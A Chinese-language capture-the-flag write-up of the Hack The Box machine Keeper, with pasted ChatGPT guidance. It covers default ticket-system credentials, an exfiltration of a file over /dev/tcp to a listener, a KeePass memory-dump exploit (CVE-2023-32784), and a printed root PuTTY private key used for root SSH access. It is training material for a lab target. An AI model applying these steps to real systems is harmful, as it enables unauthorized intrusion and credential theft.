今天是第30天了!! 終於要結束了!
題外話,
因為學了一點PT,手上也有幾張證照就跑去投履歷,
結果前幾天面試,面試官直接跟我說"你目前的程度跟不上公司喔!我們目前只招即戰力..."
啊...就被打槍了 哀...雖然本來就知道自己是菜雞...
果然學海無涯啊! 就算完成了30天的鐵人賽還是要繼續努力!
https://app.hackthebox.com/machines/Keeper
關於 Keeper
Keeper 是一台難度較低的 Linux 伺服器,其特點是使用預設憑證的支援票務系統。通過枚舉服務,我們可以查看明文憑證,這些憑證可引導到 SSH 訪問。有了 SSH 訪問權限,我們可以訪問 KeePass 資料庫轉儲檔案,利用它來檢索主密碼。有了 KeePass 資料庫的訪問權限,我們就可以訪問根 SSH 密鑰,這些密鑰用於在主機上獲得特權 shell。
```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV 10.10.11.227
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 08:42 EDT
Nmap scan report for 10.10.11.227
Host is up (0.60s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.02 seconds
```
ChatGPT
要找到 Request Tracker (RT) 的默認用戶密碼,你可以按照以下步驟操作。
### 步驟 1: 確認 Request Tracker (RT) 默認用戶
- 根據常見的配置,Request Tracker (RT) 的默認用戶通常是 `root`。
### 步驟 2: 搜索默認密碼
- 根據 `Keeper.pdf` 文件中的描述,默認用戶 `root` 的默認密碼已經提到。文檔中提到可以通過 Google 搜索找到這個信息。
### 步驟 3: 文件中的相關信息
- 在 `Keeper.pdf` 文件中提到:
- **默認用戶名**:`root`
- **默認密碼**:`password`
### 最終答案
- Request Tracker (RT) 的默認用戶 `root` 的默認密碼是:
```
password
```
補充知識:
Request Tracker (RT) 是一個開源的工單系統和任務管理系統,主要用於管理和跟踪問題、工單、支持請求等工作流程。這個系統通常被用於支持服務、IT 部門、項目管理和其他需要跟踪問題或任務的環境。
### Request Tracker (RT) 的主要特點包括:
1. **工單管理**:
- RT 允許用戶提交工單(tickets),這些工單可以是支持請求、問題報告、任務分配等。
- 工單可以被分配給不同的用戶或團隊進行處理,並且可以記錄所有的更新、狀態變更和解決方案。
2. **自動化工作流程**:
- RT 提供了豐富的自動化功能,包括基於條件的自動分配、通知系統和自定義的工作流程,這些功能可以幫助團隊有效地管理和解決問題。
3. **多用戶和多隊伍支持**:
- RT 支持多用戶和多隊伍協作,允許不同的用戶和團隊在同一平台上協同工作,並且可以設置不同的訪問權限和角色。
4. **自定義和擴展性**:
- RT 是高度可配置的,允許用戶自定義界面、字段、模板和報告。用戶還可以通過插件擴展 RT 的功能。
5. **開源和社群支持**:
- RT 是一個開源項目,由 Best Practical Solutions 開發和維護。它擁有一個活躍的社群,提供豐富的資源和支持。
### 使用場景:
- **技術支持服務台**:企業的 IT 支持部門通常使用 RT 來管理支持請求和故障單,跟踪問題的解決過程。
- **客戶服務**:RT 可以用來處理和跟踪客戶的詢問和服務請求。
- **項目管理**:RT 可以幫助團隊管理和跟踪項目任務、問題和進度。
### 總結:
Request Tracker (RT) 是一個強大的工單管理系統,幫助組織高效地管理和解決問題和任務。它的靈活性和擴展性使其成為許多行業中流行的解決方案。
如果你有其他問題或需要進一步的幫助,隨時告訴我!
```bash
┌──(kali㉿kali)-[~]
└─$ ssh lnorgaard@10.10.11.227
The authenticity of host '10.10.11.227 (10.10.11.227)' can't be established.
ED25519 key fingerprint is SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.227' (ED25519) to the list of known hosts.
lnorgaard@10.10.11.227's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
You have mail.
Last login: Tue Aug 8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ pwd
/home/lnorgaard
lnorgaard@keeper:~$ ls
RT30000.zip user.txt
lnorgaard@keeper:~$ cat user.txt
3b1a1f017942de63b176d6abb433bc8b
```
ChatGPT
要找到這個題目的答案,可以按照以下步驟進行:
### 1. 查找相關信息
- 根據 `Keeper.pdf` 文件中的描述,這個漏洞與 KeePass 的主密碼被存儲在內存中有關。文件中提到了一個 2023 年的 CVE,並提供了一些相關的線索。
### 2. 使用 CVE 資料庫查找
- 你可以通過訪問官方的 CVE 資料庫網站 [CVE Details](https://www.cvedetails.com/) 或者 [National Vulnerability Database (NVD)](https://nvd.nist.gov/) 來搜索 2023 年與 KeePass 相關的漏洞。
- 在搜尋框中,輸入 "KeePass 2023 memory dump" 或類似的關鍵字,尋找相關的 CVE。
### 3. Google 搜索
- 你也可以通過 Google 進行搜索。例如,輸入以下關鍵詞進行搜索:
```
KeePass 2023 CVE master password memory dump
```
- 這樣可以幫助你快速定位與 KeePass 有關的漏洞信息。
### 4. 使用文檔中的線索
- 如果你回顧 `Keeper.pdf` 文件中的信息,可以注意到文檔中提到了一個 CVE 編號,即 `CVE-2023-32784`。這就是你要找的 2023 年 KeePass 漏洞。
### 答案:
- **CVE-2023-32784** 是針對 KeePass 的漏洞,允許攻擊者從內存轉儲中訪問數據庫的主密碼。
### 總結:
- 你可以通過查找官方的 CVE 資料庫或使用 Google 搜索來找到答案,文件中也已經提供了相關的 CVE 編號 `CVE-2023-32784`。
ChatGPT
要找到 `passcodes.kdbx` 的主密碼,你需要按照以下步驟操作。
### 1. 獲取 KeePass 文件
- 首先,你需要登錄到 `lnorgaard` 用戶的帳戶,並且找到包含 `passcodes.kdbx` 文件的壓縮包(例如 `RT30000.zip`)。
- 使用 `SSH` 登錄到靶機:
```bash
ssh lnorgaard@10.10.11.227
```
- 解壓縮 `RT30000.zip` 文件:
這樣你就可以獲取到 `passcodes.kdbx` 和 `KeePassDumpFull.dmp` 文件。
```bash
unzip /home/lnorgaard/RT30000.zip
```
### 2. 分析內存轉儲文件
**※※※不要用write-up的寫法(根本行不通)**
- 下載RT30000.zip到本機
- 開啟2個terminal
- 第一個
```bash
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001 > RT30000.zip
listening on [any] 9001 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.227] 58070
```
- 第二個
```bash
lnorgaard@keeper:~$ cat RT30000.zip > /dev/tcp/10.10.16.2/9001
```
### 3. 使用內存轉儲漏洞進行攻擊
- 根據文檔的提示,這裡涉及到一個 2023 年的 CVE 漏洞 (`CVE-2023-32784`),該漏洞允許通過內存轉儲來檢索 KeePass 的主密碼。
- 你需要在本地機器上安裝 `dotnet` 並克隆用於攻擊的工具:
這個工具會掃描內存轉儲文件並生成可能的主密碼。
- 要先安裝`.NET 7.0`
這個錯誤表明你當前的 `.NET SDK` 版本不支持目標 `.NET 7.0`,而你試圖運行的項目是針對 `.NET 7.0` 的。要解決這個問題,你有兩個選擇:
### 選項 1:安裝支持 `.NET 7.0` 的 SDK
- 你可以安裝 `.NET 7.0` 的 SDK,以便能夠編譯和運行針對 `.NET 7.0` 的項目。
### 安裝 .NET 7.0 SDK
1. **添加 Microsoft 的包存儲庫**:
```bash
wget <https://packages.microsoft.com/config/debian/11/packages-microsoft-prod.deb> -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
```
2. **更新包列表**:
```bash
sudo apt-get update
```
3. **安裝 .NET 7.0 SDK**:
```bash
sudo apt-get install dotnet-sdk-7.0
```
4. **驗證安裝**:
```bash
dotnet --version
```
5. **再次運行項目**:
```bash
dotnet run /home/kali/KeePassDumpFull.dmp
```
### 選項 2:將項目目標更改為 .NET 6.0
- 如果你無法安裝 `.NET 7.0`,你可以嘗試將項目目標更改為 `.NET 6.0`。
### 修改目標框架
1. **打開項目文件**:
- 打開 `keepass_password_dumper.csproj` 文件,並查找以下行:
```xml
<TargetFramework>net7.0</TargetFramework>
```
2. **更改為 .NET 6.0**:
- 將目標框架更改為 `.NET 6.0`:
```xml
<TargetFramework>net6.0</TargetFramework>
```
3. **保存並重新運行**:
- 保存更改後,再次運行命令:
```bash
dotnet run /home/kali/KeePassDumpFull.dmp
```
### 總結
- **選項 1**:安裝 .NET 7.0 SDK 來運行項目。
- **選項 2**:將項目目標框架降級到 .NET 6.0,以便使用當前的 SDK 編譯和運行。
如果你在安裝或編譯過程中遇到其他問題,隨時告訴我!
```bash
git clone <https://github.com/vdohney/keepass-password-dumper.git>
cd keepass-password-dumper
dotnet run /path/to/KeePassDumpFull.dmp
```
### 4. 嘗試進入 KeePass 數據庫
- 獲得可能的主密碼後,使用 `kpcli` 或其他 KeePass 工具來打開 `passcodes.kdbx` 文件。
- 首先安裝 `kpcli`:
```bash
sudo apt-get install kpcli -y
```
- 使用 `kpcli` 打開數據庫:
當你輸入剛才工具生成的主密碼時,你應該能夠成功打開這個數據庫。
```bash
kpcli
open /path/to/passcodes.kdbx
```
### 5. 嘗試不同的變體
- 如果工具生成的主密碼不能直接使用,請嘗試不同的變體。例如,文檔中提到的 “dgrød med fløde” 可能實際上是 “rødgrød med fløde”。
### 6. 提交主密碼
- 獲得正確的主密碼後,這就是你需要提交的答案。
- 進入kpcli
- cd Network
- show 0 -f
```bash
PuTTY-User-Key-File-3: ssh-rsa
```
- 複製這一串
```bash
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-20230519
Public-Lines: 6
AAAAB3NzaC1yc2EAAAADAQABAAABAQCnVqse/hMswGBRQsPsC/EwyxJvc8Wpul/D
8riCZV30ZbfEF09z0PNUn4DisesKB4x1KtqH0l8vPtRRiEzsBbn+mCpBLHBQ+81T
EHTc3ChyRYxk899PKSSqKDxUTZeFJ4FBAXqIxoJdpLHIMvh7ZyJNAy34lfcFC+LM
Cj/c6tQa2IaFfqcVJ+2bnR6UrUVRB4thmJca29JAq2p9BkdDGsiH8F8eanIBA1Tu
FVbUt2CenSUPDUAw7wIL56qC28w6q/qhm2LGOxXup6+LOjxGNNtA2zJ38P1FTfZQ
LxFVTWUKT8u8junnLk0kfnM4+bJ8g7MXLqbrtsgr5ywF6Ccxs0Et
Private-Lines: 14
AAABAQCB0dgBvETt8/UFNdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6j
oDni1wZdo7hTpJ5ZjdmzwxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCih
kmyZTZOV9eq1D6P1uB6AXSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputY
f7n24kvL0WlBQThsiLkKcz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzT
VkCew1DZuYnYOGQxHYW6WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivz
UXjcCAviPpmSXB19UG8JlTpgORyhAAAAgQD2kfhSA+/ASrc04ZIVagCge1Qq8iWs
OxG8eoCMW8DhhbvL6YKAfEvj3xeahXexlVwUOcDXO7Ti0QSV2sUw7E71cvl/ExGz
in6qyp3R4yAaV7PiMtLTgBkqs4AA3rcJZpJb01AZB8TBK91QIZGOswi3/uYrIZ1r
SsGN1FbK/meH9QAAAIEArbz8aWansqPtE+6Ye8Nq3G2R1PYhp5yXpxiE89L87NIV
09ygQ7Aec+C24TOykiwyPaOBlmMe+Nyaxss/gc7o9TnHNPFJ5iRyiXagT4E2WEEa
xHhv1PDdSrE8tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA
AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD
AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy
NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is=
Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
```
- 開一個新的文件取名為root.ppk將上面的內容貼近去,但是開頭的空格要全部剃除
- `sudo apt install putty-tools`
- `puttygen root.ppk -O private-openssh -o id_dsa`
- `chmod 600 id_dsa`
```bash
┌──(kali㉿kali)-[~]
└─$ ssh -i id_dsa root@10.10.11.227
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Tue Aug 8 19:00:06 2023 from 10.10.14.41
root@keeper:~# ls
root.txt RT30000.zip SQL
root@keeper:~# cat root.txt
ef8f9c46433affaf0df26cab9f853e7a
```